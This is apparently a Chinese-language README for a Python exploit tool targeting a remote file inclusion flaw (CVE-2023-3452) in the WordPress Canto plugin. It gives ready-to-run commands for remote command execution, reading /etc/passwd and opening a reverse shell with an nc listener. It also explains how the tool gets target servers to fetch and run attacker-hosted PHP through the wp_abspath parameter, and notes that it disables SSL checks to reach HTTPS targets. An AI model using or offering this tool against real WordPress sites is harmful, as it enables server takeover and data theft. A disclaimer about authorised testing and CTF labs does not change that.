CVE-2023-3452 - WordPress Canto插件远程代码执行

针对WordPress Canto插件（≤ 3.0.4）RFI漏洞的利用程序。实际能在HTTPS上工作 —— 其他公开的PoC基本放弃了SSL。

功劳归功：此CVE由他人发现。我只是做了一个在HTTPS目标上不会崩溃的版本。

漏洞

为什么选这个？

大多数针对此CVE的利用程序在HTTPS上失败是因为SSL验证。此脚本：

• 使用 verify=False，因此HTTPS目标实际可用
• 抑制urllib3警告信息的泛滥
• 在HTTP和HTTPS上运行方式相同——无需单独配置

依赖要求

• Python 3.6+
• requests

安装

pip install -r requirements.txt

或者直接：pip install requests

使用方法

python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [选项]

参数

* 未提供命令时，默认执行 id; whoami; hostname 作为快速检查

示例

单个命令：

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

读取文件：

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

反弹shell（先运行 nc -lvnp 4444）：

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

交互模式：

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS CTF目标：

python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

工作原理

1. 检查 — 访问 /wp-content/plugins/canto/readme.txt，解析版本（≤ 3.0.4 即为存在漏洞）
2. Payload — 写入一个假的 wp-admin/admin.php，通过 system() 执行你的命令
3. 服务 — 启动一个本地HTTP服务器，让目标能获取我们的文件
4. 触发 — 请求 download.php 时附带 wp_abspath=http://LHOST:LPORT，使其包含我们的远程PHP文件
5. 执行 — 目标服务器运行我们的代码，我们获取输出

网络注意事项

• 目标必须能够通过 LHOST:LPORT 访问你的机器（对于HTB/实验室环境，那便是你的VPN IP）
• 防火墙需要允许payload端口（-p）的入站连接

免责声明

仅用于授权测试和教育目的。只接触你被允许的系统。其他任何用途均属违法。

许可证

MIT